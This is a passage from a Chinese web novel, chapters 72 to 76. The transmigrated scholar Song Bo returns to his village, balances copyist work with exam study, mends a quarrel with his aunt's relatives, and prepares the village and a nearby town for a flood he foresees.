宋茶栽把宋泊的行囊放好,然后给他倒了杯水,“未曾,本来我是想去替你辞了这工的,但我想着这毕竟是你的事儿,便没擅自替你做主,只说了你有事耽搁,还要再晚些日子才回来。” “多谢大姑。”宋泊谢道。 宋茶栽觉着有些莫名,“谢我什么?” “其实我并不想辞去百书阁的工。”宋泊道。 读书要花钱,他不可能让宋茶栽帮他出钱,所以他得靠自己赚钱,想要赚钱就得留着抄书先生的活儿,等明儿个去百书阁跟秦闻商量一番,看看能否将上工时长缩短一些,上工三个时辰,剩下的时间用来读书,一天也能有六个时辰。 宋茶栽猜着宋泊的想法,她道:“读书可耗劲儿了,你还做工作甚,我供你读书就是。” “不成。”宋泊说:“我已成年,再让你供我读书,让别人听着岂不是笑了去。” “让供着读书的人何其多哩。”宋茶栽道,科举是大事儿,其他事儿都得给它让步。 “此事就这般定了。”宋泊直言。 宋茶栽知道宋泊有自个儿的主意,便没打算强劝,反正到时宋泊要是有些需要帮忙的处儿,她在及时帮上就是。 跟宋茶栽打完招呼,宋泊带着常乐回了家,他将东西往卧房中一搁,准备下地看看江金熙的草药苗子如何了。 那可是江金熙的心头宝贝,若是去了发现它们蔫了,还能早些补救,到时还能有个成果交给江金熙。 常乐似乎比宋泊还熟悉这条去田里的路,一路上它都领着路,走在宋泊的前方,一条小黄尾巴摇得起劲。 离田不远,宋泊就看见有个人穿着整套农衣,头上戴着个斗笠,手中提着个木桶,正往田里舀着什么。 田中草药们也是很给面儿,绿油油的一片映在田中,与黄褐色的土形成了鲜明的对比,生机盎然。 走得近了,那人抬起头来,宋泊才看清楚,竟是刘南民。 常乐显然是认识刘南民,见到他常乐的尾巴摇得跟螺旋桨一般。 “姑父,你怎的在此?”宋泊问。 春季的日头并不晒人,但因为刘南民所在这块地儿没个遮掩之处,这一站站一个多时辰,就算不热也便热了来,故而刘南民的脑门上布了层薄薄汗水,看着可是热人。 “你们这一上京一月有余,田中苗儿没人管,三日便蔫了去。”说话间,刘南民又倒了一勺肥料进土中,“我瞧着这苗儿都冒了尖,几千棵苗儿也不能浪费了去,便擅作主张替你们照看着。” “多谢姑父,真是辛苦了你不仅要管自家田,还得分出一丝注意力在这块田儿上。”宋泊只觉心中有愧,过意不去,“明儿个我去打包些菜,请你与大姑吃饭!” “我听阿栽说你打算考科举了,科举花的钱多,你就别忙活了。”刘南民说着话,手里动作不停。 宋泊瞧着边儿上还放了几盆肥料,当是刘南民还未来得及上上的肥,他便捞了一桶来抱着。 刘南民见宋泊要搭手,就说了撒肥的技巧,有刘南民的技巧帮忙,宋泊撒肥料顺手了许多,接着他出言接上刚刚的话茬,“这是两回事,读书花的钱与请客吃饭的钱并不冲突,姑父你帮了我这么多,不请上一请表达心意,我这心里头绝对是过不去的。” “那便随你。”刘南民答。 “只是有个事儿可能得麻烦姑父了。”宋泊说。 “什么事?”刘南民问。 “大姑也说了我今后要考科举,这读书与做工已然占去我所有的时间,所以我想麻烦姑父,继续帮我照看这片田。”宋泊自然不会让刘南民做白工,他继续说着,“我会给你一些谢礼,这片田的相关支出都由我来付。” 刘南民抬眸看了他一眼,随后说着,“帮个小忙还要什么谢礼,这地儿我帮你看了,你只管安心读书就是。” “多谢姑父!”宋泊谢道。 刘南民不收谢礼,到时儿他便找个缘由送上,总归是要谢了刘南民这份意的。 原主可是身在福中不知福,有这般好的大姑和姑父,作何还要去赌个倾家荡产。 两人在田里忙活了一下午,才把整片地都施上了肥。 回宋茶栽家的路上,宋泊好奇地问着,“姑父,这地里的苗儿,长得如何?”术业有专攻,无论现代还是古代,宋泊都没有亲手种过东西,这草药长势如何,还得问专业的刘南民。 “长势还行,只是今年瞧着有些多雨,收成的时候恐怕会提早些。”刘南民答,忽而他喊了声,“乐乐,回来,踩了别人的苗当心别人把你炖了吃。” 常乐听了刘南民的话,爪子拐了个弯,撒欢地跑了回来。 “看起来常乐很是喜欢姑父呢?”宋泊说。 “原来它叫常乐。”刘南民说起常乐脸上都是笑意,“当时你们着急上京,阿栽又只说它叫乐,我便喊它乐乐了。” “无妨,一个称呼而已,姑父若是愿意,再给它取个名儿也成。”宋泊答。 “那它恐怕是要听不明白了,小小的脑袋里哪儿记得那么多名字。”刘南民说。 接着刘南民跟宋泊说起常乐的事迹,说是这一个月前,有人来田里偷苗,被常乐瞧着咬了去,闹到宋里正那儿,歹人失了理又受了伤,苗没偷到不说,还得自己补上要钱,那事儿以后可没人敢再到他们这片田里作祟。 “没想到常乐不过三个月多点儿,就能帮着驱赶贼人,真是个好狗。” “可不是?”刘南民真心喜欢这只小黄狗,说起常乐脸上总是带笑。 常乐应该也是很喜欢刘南民的,不然不至于小步子在前头走着,还得时不时反头回来,瞧瞧刘南民有没有跟上。 回了宋茶栽家,炊烟袅袅升起,宋泊心理安定下来,二十日他一直飘着,有时露宿外头,有时找个客栈住,一直没有这般回家的感觉,现在看着在里头忙碌的宋茶栽和刘南民,还有脚边围着兜兜转的常乐,这才觉着回家了。 只是江金熙不在这儿让他又觉几分难过。 宋茶栽看着站在院子里当雕像的宋泊,喊着:“站院子里发什么呆,赶紧过来搭把手。” 宋泊应了一声,撇去心中不好的情绪,他放好身上带着的东西,朝宋茶栽那儿走去。 第73章 第七十三章被人抓了去。 翌日一早,宋泊进了传福镇,秦闻还未来,他便先回了自己的座儿,把积攒下来的工作先做完。 巳时出,秦闻才来到店中。 “你说你要将工时缩短一些,每日只做三个时辰?”秦闻道。 “是的。”宋泊端正着坐在秦闻对面,“明年我想下场试试,所以得腾出些读书的时间来。” 秦闻正喝着茶,闻言手中动作一顿,“你要下场?” “想必秦老板您已经听说过了,江金熙是丞相府的哥儿,我想娶他,想给他个能躲避的港湾,科举这路是最简单的路。”宋泊说。 比起别儿个歪门邪道,走科举正途考上以后,比较不容易被他人看不起。再者说,寻常百姓想走邪路都没那个门路,只能苦苦熬在几方小房之中,闷头苦读。 “如此倒是有志气。”秦闻把茶杯放下,说:“我可以应你,只是这工钱也会相应地减少一些。”他们这儿的底薪是以做工的时辰算的,宋泊既要比别人短时,拿的工钱自然也会少些。 “我知的。”宋泊道。 “那便好。”秦闻回。 简简单单的一件事,两人不过说了半炷香时间就谈妥当了,正在宋泊打算出了房间回工位上之时,一人由外开门进来,“爹!你还不准备动身吗?” 来者是秦闻的儿子秦令,自上次喜春楼一别以后,宋泊再未见着秦令,半年过去,这人还是如此风风火火,进屋连个门也不敲,当真是没规矩。 宋泊看见秦令的时候,秦令也瞧着了他,“你怎么在这儿?” “我在这儿当抄书先生。”宋泊答。 秦令睁大双眼,他猛地看向秦闻,“爹,你怎的让他在店里做工!” “我聘谁做工还需你同意不成?”秦闻从椅子上站起来,“走吧,着什么急,宋家的席儿又不会跑。” 宋家? 宋泊问:“不知可否问下是哪个宋家?” “霞县的宋家,好像是叫宋申闻吧。”秦闻说。 宋申闻办了宴席,怎么他没在大姑那儿听说? “说起来我记得你好像跟他认识?”秦闻道。 “宋申闻是我小叔。”宋泊答,“我小叔他办的是什么宴?” “说是过了县试小办一场。”秦闻说。 “爹你还跟他说什么呀,我们赶紧走吧。”秦令着急,拽着秦闻就出了房。 宋泊只是一问,秦闻走后他就重新回到百书阁三楼抄书。 没想着宋申闻居然通过了县试,看来宋申闻肚中也是有几分墨水,只是那县尉家当真有钱,寻常人家成了秀*才才会摆宴,他们倒好,童生而已就开席。 不过那也与他无关,宋泊看着笔下的字,认认真真抄写。 下了工,宋泊先到集市给自己买了个简单的书箧,往后少不了要带着书四处走动,买个书箧方便一些,而后他又走到了李五家,两月多未见,不知李会书的功课学了多少。 敲响房门,来开门的是李会书。 “宋叔叔!”李会书赶紧将宋泊拉进院儿里,然后把门严严实实地关上。 “你这是作甚?”宋泊被李会书的动作整得一头雾水。 李会书拉着宋泊的手,把他拉到自己的卧房之中,随后才开口问道:“宋叔叔,你真被官府抓去了吗?” “谁与你说的?”宋泊问。 “爹爹说你被官府抓去了,他可着急哩,四处打听你的消息。”李会书说:“后面说你被押上了京城,爹爹还去庙里帮你求了福。” 听着这话,宋泊哭笑不得,这谣言传的,明明他是好好地坐着马车上了京,怎么到他们口中却成了被押上去的。 李会书歪头瞧着宋泊:“你现在出现在这儿,是不是证明你是无罪的?” 宋泊揉了下李会书的脑袋,“聪明。” 李会书一下抱住宋泊的腰,“我就知道!宋叔叔这般好人肯定不会有罪的!” 李会书不过十岁,说出来的话还带着童气,最是暖人心,宋泊拍着他的后背,说:“你怎么知道我是好人?没准我无恶不作呢?” 李会书抬着头看着宋泊,小脑瓜转得飞快,却还是想不出反驳宋泊的话来,无法,他只能耍无赖,“我不管,宋叔叔就是好人!” “那好,现在好人宋叔叔要查功课,可把书儿拿来。”宋泊说。 “好!”李会书没有半点儿不情愿,欢快答应了一声就小腿飞快地跑到自己的小书桌边,把积攒的厚厚一摞纸搬到宋泊面前。 在宋泊一页页翻的时候,李会书双手合拢放在胸前,心脏扑通扑通跳得极快,紧张得不行。 春节以后,李会书没再见着宋泊,听爹爹说宋叔叔被官府抓走了,他心底害怕得不行,可这功课又不可落下,他便一边在心底求着宋叔叔无事,一边完成宋叔叔给他布置的作业,无论宋泊什么时候回来,他都有可以拿得出手的东西。 宋泊抬手一页翻过一页,李会书确实有在严格按照他说的法子学习,两月以来字进步飞快,已经有自己风格的雏形,抄写内容准确不说,还带上了自己的注解,当真用心。 “不错,这些天没松懈。”宋泊道。 听宋泊这么说,李会书才松了口气,“宋叔叔,我进步了吗?” “进步极大。”宋泊瞧着李会书卖乖的模样,夸道:“想必再过几年,恒国又要出一才子了。” 李会书被夸得脸红,他挠了下后脑勺,不好意思地说着:“都是宋叔叔教得好。” 门外传来开门的声音,接着是沉重的轮子声,阿篮推着豆腐车回来了。 宋泊从李会书的卧房里出来,唤道:“嫂子。” 看着宋泊从自家儿子的卧房中出来,阿篮还以为自己出现了幻觉,她惊讶道:“宋泊,你怎的在这儿?” “嫂子。”宋泊笑了一下,“我没被官府抓走,昨儿个刚回村,今儿便来瞧瞧会书。” “我当是我挂的布条惹事来了!”阿篮说。 经阿篮一说,宋泊才发现阿篮豆腐车上的那个“金囝豆腐”的布条没了去,车上除了豆腐篮子,再无它物。 “那个‘金囝豆腐’吗?我瞧着寓意挺好呢。”宋泊说。 “那是你家夫郞让我挂的。”阿篮说,“我没想到他居然是丞相府的哥儿,你被抓上京去,可不是我帮你引了人来。” 江金熙曾经找过阿篮,要她帮着挂个布条在豆腐车上,阿篮只当帮个小忙,金囝寓意也不错,便答应了这事,谁知一月以后便听着京城来了人,还把宋泊抓了去,这一打探才知江金熙原来是丞相府家的哥儿。为此,阿篮心里甚是愧疚,总觉着是自己把人引了来。 “说什么呢。”宋泊安慰着阿篮,“就算没有你挂布条,京城里的人也会找到这儿来。” “再说,我不是被抓上京城的,我是好端端坐着马车上京城的,一点儿苦也没吃着,还顺带去京城拓宽了下眼界,这可是个好事啊。”宋泊再说。 见宋泊面色正常,没有一丝骗人的痕迹,阿篮信了半分,她问:“你说的是真的?” “千真万确。”宋泊答。 阿篮难受了一个多月的心,在这个时候才真正轻松起来,“我还以为是我害了你。” “一个布条而已,哪儿这么大本事。”宋泊如实说道。 今儿个高兴,阿篮的豆腐也全都买光了去,她便一合计,晚上留宋泊吃一顿饭,话音落下后便动作迅速地出了门买菜,连给宋泊拒绝的空隙也未留。 李会书也高兴,他很喜欢宋泊,可宋泊每次只待上一会儿便要走,今日留下来吃个饭,又能多陪他一会儿。 炊烟升起,厨房内热火朝天,李会书被阿篮叫进去搭把手,两个人在厨房里吵吵闹闹说着话。 李五在这时下工回来,见宋泊站在自家院子中,他忙问道:“你可是无罪了?” “本来我也没什么罪。”宋泊笑道。 “我就知道,你吉人天相怎的会有罪呢。”李五一下揽住宋泊的肩膀,“只是当时阵仗太大,那话一传十十传百,传得都变了味儿。” 其实李五也是从别人口中知道的宋泊的事儿,宋泊的事儿发生地过于迅速,李五赶去宋泊家的时候,家中已经没了人,问了周围的村民,才知他被一群人带走,去了霞县。而后他在家中等着,过了十几日再去打听,别人便说他被押上了京。 那队人马他也有印象,坐在骏马上的人个个人高马大,宋泊身量不输他们,可壮硕程度却是远远比不上,落在他们手中只怕有得苦吃,李五一个普通百姓也无法与官对着干,他只能寄希望于神仙身上,让阿篮带着他去她常去大的庙中为宋泊祈福。 还好那神仙当真灵通,让宋泊无罪回来。 “好!今日咱们不醉不归,我存了几坛好酒,正好与你一起尝尝!”李五高兴,说话地声量都上扬了几分。 “好!我便陪你一陪。”李五这般为他着想,宋泊自不会辜负李五的好意。 第74章 第七十四章劝人。 宋泊从李五家回来的时候已晚,路边的灯都亮了,周围没有什么人在,从宋茶栽家路过之时,却听着宋茶栽正怒骂着什么人,声音大到他在外头都能听到个一二。 宋泊脚下打了个弯儿,进了宋茶栽家,“大姑为何如此动怒?” 刘南民皱着眉头拉着宋茶栽的胳膊,着急地满头汗,看着宋泊来像看见救星一般,“你来得正好,快劝劝你大姑。” 见两人神情凝重,宋泊本来还有些熏意的酒劲瞬间散了去,他快步走到宋茶栽身旁,与刘南民一道拉着宋茶栽,问:“可是发生何事了?” “是你那四姑和小叔!”宋茶栽气得满脸涨红,宋泊怕她喘不上气儿来,忙给她顺气,“何事也不必如此动怒,先消消气、消消气,别再气坏自个儿身子。” 宋茶栽看了宋泊一眼,而后深呼吸了几次,这情绪才稍微缓和下来。 重新坐回屋中,宋茶栽才将她生气的事儿说了出来。 原来那宋申闻成了童生以后,并未立即摆席,而是称着要等他上京的大姑和小侄儿回来才愿开席。 眼下已经三月中旬末尾,四月府试开启,到时便没了时间摆席,这才抽着这几日摆了个小席,请了些霞县内小有名气的人一聚。 “这不是挺好,为何大姑如此生气?”听到这儿,宋泊还未觉着有什么奇怪,只能说宋申闻有些装模作样,既说了等他俩回来,这人还未回来就摆了席,分明就是摆席心切。 “他没请阿栽。”刘南民补充道。 “为何?”宋泊问。 宋申闻这事儿行得奇怪,宋茶栽都回到了近里村,自家亲戚为何不请? “你四姑说你未回我却回了,不知你可是进了牢中,怕我晦气,不敢唤我呢!”宋茶栽越说越来气,紧紧捏着手中喝水的杯子。 宋泊怕她把杯子捏碎再被碎片伤了手,便掰着她的指节让她放松一些。 这宋申闻成了童生以后,可让宋芸香威风了,这话说来定是想出了之前宋茶栽跟她讨田的恶气。 这宋家也就宋茶栽一个好人,其他人都藏着自个儿的弯弯肠子,宋芸香好不容易逮着个机会,当然会大作特作 “大姑你别生气,那般小人得志让他们说去就是。”宋泊说。 “你是没听着她怎么说的。”宋茶栽又喝了口水,有个与她要好的夫郞去了宋申闻的宴席,听着席上宋芸香的话,记着与她说道,宋芸香说他们宋家也不知究竟是好还是不好,族中即将出个秀才,却先出了个犯人,这是直接将宋泊定成了犯人,这让宋茶栽如何不生气。 “口说无凭大的话,说讲便讲。”宋茶栽怒道:“往日我也没苛责过他们,不知怎的就离了心。” “消消气。”宋泊拍着宋茶栽的背,好人怎能明白坏人的脑回路? 有宋泊和刘南民哄着,宋茶栽总算顺了点儿气。 宋泊倒没有宋茶栽那么生气,嘴长在别人身上,他们爱说什么他也拦不住,只是这面子他迟早会帮宋茶栽讨回来,明年他下了场,与宋申闻一块儿参加院试,他定要压宋申闻一头,帮宋茶栽出口气,说得太多无用,最终还是要靠硬实力说话。 “得,他不请我们也罢,我也不想过去讨他人嫌。”宋茶栽说:“他们竟然这样编排我们,那就当这个没我这个大姐就是。”宋茶栽性子烈,断然做不出热脸贴别人冷屁股的事儿,他俩先如此,就别怪无情了。 “大姑能想开就是。”宋泊劝慰着,“等我明年下场,定让你有面儿。” “有你这句话,大姑就高兴了。”宋茶栽说,无论宋泊明年能不能上榜,至少他愿意努力,她便高兴了。 男儿家,最忌讳的就是没有上进之心。 确定宋茶栽不会一个冲动冲出去找宋申闻他们麻烦以后,宋泊才回了家。 在李五家喝了酒又折腾了那么一阵,宋泊回家简单地梳洗了下,便上了床躺着,他瞧着自家的茅草顶儿,只觉着确实不能像刚来时那样摆着,必须得支棱起来,当官虽麻烦,却有实打实的好处,如此想着宋泊便也睡不着了,他从床上起来,把书桌边的蜡烛重新点亮,昏暗的烛火底下,宋泊翻着江金熙给他带的书,学了约有一个时辰,终究是抵不住酒意和困意的双重攻击,倒在书桌上睡了过去。 翌日,宋泊只觉自己腰酸背痛,跟被打了一般,没一个地方得劲,这便是睡在书桌上的坏处,若是江金熙在的话,定是不会让他那么睡的。 恋爱真是恼人,见不着人实在是想的紧,可又无法如现代一般打个视频电话过去,无法,他只能化想念为动力,每日都更努力一些。 听闻宋泊回来了,宋灵铃在宋泊下工以后来到他家,见只有宋泊一人在书桌前苦读,她便问着:“宋泊,金熙哥呢?” “他住京城,没与我一道儿回来。”宋泊道。 经过叶单越那事,江金熙的身份已是人人皆知,村里的大伙儿都惊讶村中居然有这么个大官的哥儿在,江金熙的身份成了他们茶余饭后的闲谈资本。宋灵铃顺耳听了村中人的话,这才回去问自家爹爹,得了宋泊与江金熙一块儿去京城的消息。 明明江金熙说过他不会有事儿,可她总觉着心里七上八下地不踏实,得知宋泊回了近里村,她立刻来找了他。 “金熙哥出事了吗?”宋灵铃问。 “没有,只是他家中人不愿他在回村里吃苦罢了。”宋泊道。 听宋泊这么解释,宋灵铃悬着的心终于落到了实处,还好江金熙没出事,他只是回了家。 只不过宋灵铃还是有些遗憾,毕竟江金熙回去以后便不大可能再回近里村,她能见着江金熙的机会那是少之又少。 这般想着,她又想到宋泊身上。宋泊和江金熙可是定了情,可这下江金熙没与宋泊一块儿回来,那这情? 江金熙可是丞相府的哥儿,而她眼前这人虽说正写着字,身上一股墨味儿,却终究只是个平常农户,姻缘讲究个门当户对,宋泊这身份配江金熙是远远达不到的。 宋灵铃想着什么便问什么,“宋泊,你与金熙哥?” 宋泊能猜着宋灵铃想问些什么,他直言回道:“不过分地而居罢了。” 那便是还在一起! 宋灵铃说:“往后你要给金熙哥寄信,喊我一声,我也要寄。” “你不如现在直接写下,保不齐我哪日去了镇里直接便寄了,来不及通知你。”宋泊说。 宋灵铃觉得有理,便与宋泊换了个位置,坐在书桌前。她拿起毛笔来,沾了沾旁儿放着的墨,笔尖落在纸上,隽秀的字显现,宋灵铃写着流畅,忽然在一处顿住,提着笔迟迟未动,像是卡住一般。 宋泊在旁边瞧着,不禁问道:“何故停笔?” 宋灵铃这才小脸儿微红,带着一丝不好意思说道:“我忘了字儿如何写。” 宋灵铃虽是宋里正的姑娘,却只识些简单的字,有的难字学了后从未写过,要在重新写上之时,便提笔忘字。 宋泊听着宋灵铃的音儿,在边上写下那个字,宋灵铃恍然大悟,说道:“就是这字!” 难字解决,宋灵铃写信顺畅了许多,不过半炷香时间,就将信完成了来,她一个姑娘家家,也没什么深沉的道理与江金熙说,心里写得简简单单,凸显了个“想”字。 宋灵铃将信放在一旁等着墨迹干透,她从椅子上起来,说:“听闻你要考科举了?” “是。”宋泊答。 “你连那字都写得出来,确实有在用功读书。”宋灵铃道:“等你考入京,记得带我一块儿去。” “成。”宋泊应声。 宋灵铃听后欢喜着便走了,临走前还交代宋泊一定要把她的信寄出去,她会回家拿银两报销寄信的费用。 时间转眼即逝,很快半月过去,到了四月上旬。 宋泊撑着伞往传福镇走去,这入了四月以后,天跟破了个洞一般,每日都下雨,天色阴沉得他已经几日未见过太阳。 这雨一下,就算有伞撑着,身上也免不了沾上些雨水,虽说不到不耐烦的地步,但看不着太阳还每日湿漉漉的,衣服洗了也干不了这事属实是有些恼人。 韩木秋与宋泊同一时间到了百书阁门口,韩木秋关起伞儿抖落着上头的雨水,看着面前连绵不断的雨,他忍不住抱怨着,“这天怎么回事,雨下个不停当真烦人,这抄书抄了干不透,桌子都快摆不下了。” 下着雨,空气中的湿度变大,以往放上一会儿就能干的抄纸,现在得搁上许久,抄书桌子就那般大,确实被抄纸占去了不少位儿。 “保不齐过两日就停雨了呢?”宋泊道。 “我在传福镇生活这么久,头一次瞧着一场雨一下下个几天的。”韩木秋把伞搁在门口,从怀中将百书阁的钥匙掏出来,开了店门。 宋泊随他一起把伞放下,而后看了眼外头的雨,跨步进到店中。 第75章 第七十五章修水道。 宋泊原以为这场雨几日就能停,却没想着生生下了十来天,四月有府试,赶考的考生被这天气逼得怨气连连,宋泊每日从传福镇回村,都得蹚着水而过,古代的排水系统不好,雨下得久就容易形成积水。 四月二十三日,宋泊刚下工回到家,就被刘南民喊着下了田。 “你且与我一起,这连日的雨,田沟都被淹了去,草药苗子都要给淹死了。”刘南民说。 宋泊与刘南民一人拿着把锄头,顶着雨在田间疏通田沟。 连日雨加大了泥土的湿度,有些个田沟塌了,堵住了疏水的道儿,草药苗子边都积了层薄薄的水,宋泊不懂草药的习性,听刘南民说这些草药苗子虽然耐水,却敌不住这般厚的水,便赶紧支棱着劲儿,学着刘南民的手法疏通田沟。 “今年雨多,未到夏季已然如此,到了七八月那可如何是好。”刘南民说。 听着刘南民的话,宋泊忽然想起了原著中的剧情,原著里江金熙这时儿还未回家,七月连着三日下了暴雨,直接将南面许多州淹了去,江金熙经历此劫,要不是宋茶栽于心不忍救了江金熙,恐怕江金熙的命只会被洪水以后的疫病带走了去。 宋泊又想着几日蹚水,那水越来越厚,不过连日雨就积攒起来,若是迎着三日暴雨,肯定得如河水一般。 这般想着,宋泊觉着自己得提早做准备,若雨未来最好,真来了他也抗得住。 说做就做,他家地势在近里村中算是高的,雨水下来他家也淹不过去,不过还是得将家中建筑加固一番,省得到时虽未被水淹,房儿却被雨水打坏了。 卧房是新修的,只需将厨房和茅厕整修一番就是。 宋泊这边动作大,宋茶栽自然也被惊动了,趁着宋泊今日休息,她摸了过来,站到宋泊身旁,问道:“怎的请了人来把厨房和茅厕推翻了重建?” 难得的连日雨终于停了下来,露出了久违的太阳,四月底的太阳不晒人,风中又带着前几日下雨的湿气,实属出门踏青的好天气。 宋泊想着七月的事,与宋茶栽说道:“我瞧这天气反常,夏季恐有大雨,等他们修好了我的屋儿,我就让他们也去你那儿把房子加固些。” “你想多了吧。”宋茶栽说:“咱们恒国已经很久没有连日大雨了,你那钱还是省着读书用。” “不成。”宋泊说。 宋茶栽家的地势比他家低些,若是大雨来了,被淹的风险可是高了几成。 “此事就听我说的,你那旧房子我早瞧不顺眼了,正好借此机会修了。”宋泊道。 听宋泊这般强硬,宋茶栽也没有再推脱,她只道孩子大了,懂得为长辈着想了。 宋泊与宋茶正说着话,忽的有人插进来一句,“宋泊可是住这儿?” 两人转身看去,是一个背上背着书箧的青年男子。 宋泊不认识眼前人,问道:“我就是宋泊,你找我有事儿?” “可算找着你家了。”男子将书箧放了下来,从里头掏出厚厚一打信件,“这儿有你的信。” 原来此人是信使,江金熙从京城送来的信到了传福镇,再由传福镇的信使一处处送去。 宋泊从怀中摸了十钱塞到信使手中,道:“有劳信使。” 信使欣然收了钱,重新将书箧背在身上,而后便走了。 “可是金熙来信?”宋茶栽问。 宋泊看着信封上的字,确实是江金熙送来的信,只是这金熙也是有趣,别人送信送一封,他送信却送一打。 “确实。”宋泊用拇指将信封抹开,里头还放了封给宋茶栽的信,宋泊把那信抽出来交到宋茶栽的手中,可把宋茶栽高兴坏了。 “见你无事我就回去了,休息之日不可浪费,可记得好好读书。”宋茶栽说完话,拿着信喜滋滋地回去了。 索性现在无事,宋泊也回了卧房,将信一封封打开来瞧。 从京城来的信送到传福镇,再分配给各个信使,这一趟便花去二十多日,江金熙寄来的信,从他离开那日便开始写,每封都是他提前写的信的回应。 在他走后,江金熙一直坚持想要回近里村,可江丞相狠了心不放人,江金熙就只能在府里与他耗着,江丞相为了给他找些事儿做,还给他请了位御医教他医书。 宋泊看着信,眼前似乎浮现出江金熙瘪嘴不乐意的模样。 江丞相确实宠爱江金熙,正是因着这番宠爱,江丞相才不愿意江金熙回到近里村吃苦。 回来的这些日子,宋泊也写了信,瞧完这些信正好可以写回信,让江金熙知道他已看了他寄来的信。 除了信件以外,江金熙还给他寄了本书,这书是他打听来的,说是科举宝典,江金熙便给他寄了来。 至于是否是真的宝典,江金熙相信宋泊自有定夺。 没想到江金熙在京城里还处处想着他,宋泊只觉着自己更有动力了,将回信写好以后,他便坐在了书桌前,瞧起江金熙送来的科举宝典。 这书确实有几分价值,能起到提点人的作用,外头工人搭房子乒乒乓乓吵个不停,宋泊周围却像覆了层透明的隔音层,外音入不了他的耳,他一心沉浸在知识当中。 等到夕阳西斜,工人已到了下工的时候进屋来喊他,宋泊才如梦初醒,歇了已然酸痛的手。 宋泊伸了个懒腰从卧房里出来,厨房和茅厕房儿小,工人工作三日将两个房子的雏形搭了出来,地基打稳之后的事就简单许多,再过两日就能将房子完全修好。 “汪汪!” 大老远的,宋泊就听着常乐的声儿,常乐最近一直跟着刘南民下地,只有刘南民回家的时候,它才会回到家中。 果不其然,声音传来后不久,一抹土黄色就在天边出现,尾巴高高翘着,摇得正欢,应当是心情很好。 而后常乐的身后便出现了刘南民。 等刘南民走得近了,宋泊几步相迎,将他手里的农具接了过来,与他一道并肩回宋茶栽家,“姑父,辛苦你照看苗子。” “还好熬过了那段雨,只是那些草药被雨一淹,成熟期往前挪了不少,药效差了些,却还是能用。”刘南民提前预定宋泊六月份的休息日子,“到时你与我一块进田里收草药去。” “那是自然。”宋泊欣然应允,他让刘南民提早些唤他,他好跟秦闻请假。 那些草药是江金熙的心血,等他七月上京城时带上,江金熙肯定高兴。 房子搭好,信也寄了,宋泊与亲近的人都说了要注意防雨的事儿,他没特意说防洪,就是怕如果七月的事儿没发生,大伙儿不至于白忙活一场。 四月下了将近一个月的雨,将传福镇的地都浸陷了,好几处地塌了下去,林武玉正带着人在路边修。 救一个人也是救,救一镇人也是救,传福镇地势比近里村还低些,若是遇着大雨来不及疏通,肯定被淹。 现在有些地陷了,正好可以趁着这个机会,在不惊动镇里百姓的情况下,修出些排水道来。 如此想着,宋泊走到林武玉身旁,与林武玉打招呼,“林县令。” 林武玉转头看来,道:“是你啊,听闻你从京城回来许久,却没来府上报个平安呢?” 宋泊先行了一礼,随后才歉意道:“林县令日理万机,宋泊哪儿能因着自个儿的事叨扰县令。” 林武玉本也不是为了刁难宋泊,他道:“老师他应当没有为难你吧。” “没有,多亏江丞相,我才能安然回来。”宋泊停下话茬,转而说道:“林县令现在在这儿,可是修道?” “二十几日连绵不断的雨,快把镇子都淹了,如今放了晴,可得好好修修。”林武玉早瞧着镇里坑坑洼洼的地不顺眼,现下刚好能填补一番。 “确实。”宋泊皱着眉头点头赞同着称道:“每日我都得蹚水而过,这鞋子都不知湿了几双,连日雨又干不透,只得在买鞋,花去了好大把银子。” “这镇里排水确实不好。”林武玉道,他也是上年才来到传福镇,自个儿本身又是个北方人,北方雨少,没见过这般阴湿的阵仗,这没下雨没暴露问题,一下雨所有问题都露了出来,传福镇的排水确实是个大问题。 “我瞧今年天气反复无常,六月到八月可是雨季,没准会有大雨袭来,林县令不如趁此机会,好好修些排水道出来?”宋泊搬出自己本地人的身份,说着:“往年雨势凶猛,短短几个时辰便淹了地儿,咱们这个镇子离下游的河还有些距离,最好还要修几个暂时蓄水的池子来,缓解一下排水的压力才是。” 林武玉瞧着宋泊,“你这建议说到了我的心坎,想来近一月没少在读书上下功夫。” 林武玉和秦闻是好友,秦闻知晓宋泊要考科举的事儿,自然也与林武玉说了,并且还叫林武玉多提点宋泊一些,到时科举若是要县令举荐信,他能帮上一二。 “多谢县令谬赞。”宋泊再行一礼,“不过宋泊只是被着积水扰烦了而已,说不上什么高见。” 林武玉哈哈笑了两声,“行,我定好好修水道,不让你再遭受买鞋之苦。” 第76章 第七十六章水灾。 六月中旬,刘南民喊宋泊下田一块儿收草药,因着前头四月连月雨的缘故,草药早了一月成熟,六月正是最好的收获时期。 刘南民蹲在田里,一边将草药连根拔起,一边与宋泊说着:“一月后本来该收获更多,可那四月雨将草药淹去了部分,眼下只剩这些能用了。” 宋泊不认识草药,也不知长成何种模样的草药才是能用的,他与刘南民讨教,细心听着刘南民跟他说着完整草药的特征。 因着有刘南民这个草药专家在,宋泊也学了些认草药的知识,认不定的草药一问刘南民便知,一日下来两人将田间的草药全都收了起来。 虽说淹去了一部分,但因着当时江金熙买的种子多,再加上刘南民及时补救,这剩下的草药数也十分客观,装满了两个大背篓。 回到宋茶栽家,宋泊把草药全都给了宋茶栽,这些个草药还得经过处理才能用药,正好宋茶栽是这方面的行家,喊她帮忙事半功倍。 “没想到还能有这么多。”宋茶栽走到两篓草药前,随意拿了一株捏在手中,“品质不是上乘,却胜在能用,处理好了也能卖到镇里去,小赚一笔。” “只是金熙不在这儿,不然看着这些新鲜的草药,他肯定笑得眉眼都完了。”宋泊道。 “无妨,你不是下月要上京吗?正好带一些上去,让他瞧瞧。”宋茶栽说,“到时你就带我处理好的去,让他高兴高兴。” “多谢大姑。”宋泊谢道。 “一家人怎么说两家话?”宋茶栽说:“你把我房子修了还不收我钱,我都还没谢你呢,你倒先谢起我来了。” “那是我乐意出的。”宋泊说。 “那这也是我乐意帮的。”宋茶栽把话重新还给宋泊。 宋泊与宋茶栽两人相视一眼,笑了,成,这一家人互相帮助,说谢倒是生分了。 宋泊要去京城的事儿,终究是得往后延了。 七月二日,大雨倾盆,宋泊起了个早,本想撑伞去传福镇上工,却发现这雨大得寸步难行,豆大的雨滴落在屋顶上,发出啪嗒啪嗒的声响,门口已有雨水汇做的水流往下留着,宋泊算了下日子,应当是原著里的连日大雨来了。 宋泊撑着伞到厨房将他准备好的干粮和水拿到卧房,又把常乐捞进来以后,将房门窗户紧闭。 常乐很是不安,一直在宋泊脚边嘤嘤哼着。 动物的直觉最是灵敏,它应当是感知到有灾难来了。 窗外风大,好在他卧房的窗户是新装的,窗拴还算坚固,能卡着窗户。 外头天越来越黑,明明已是白日,却黑的如半夜一般,这暴雨属实吓人,宋泊待在屋内,心里也没甚么底。 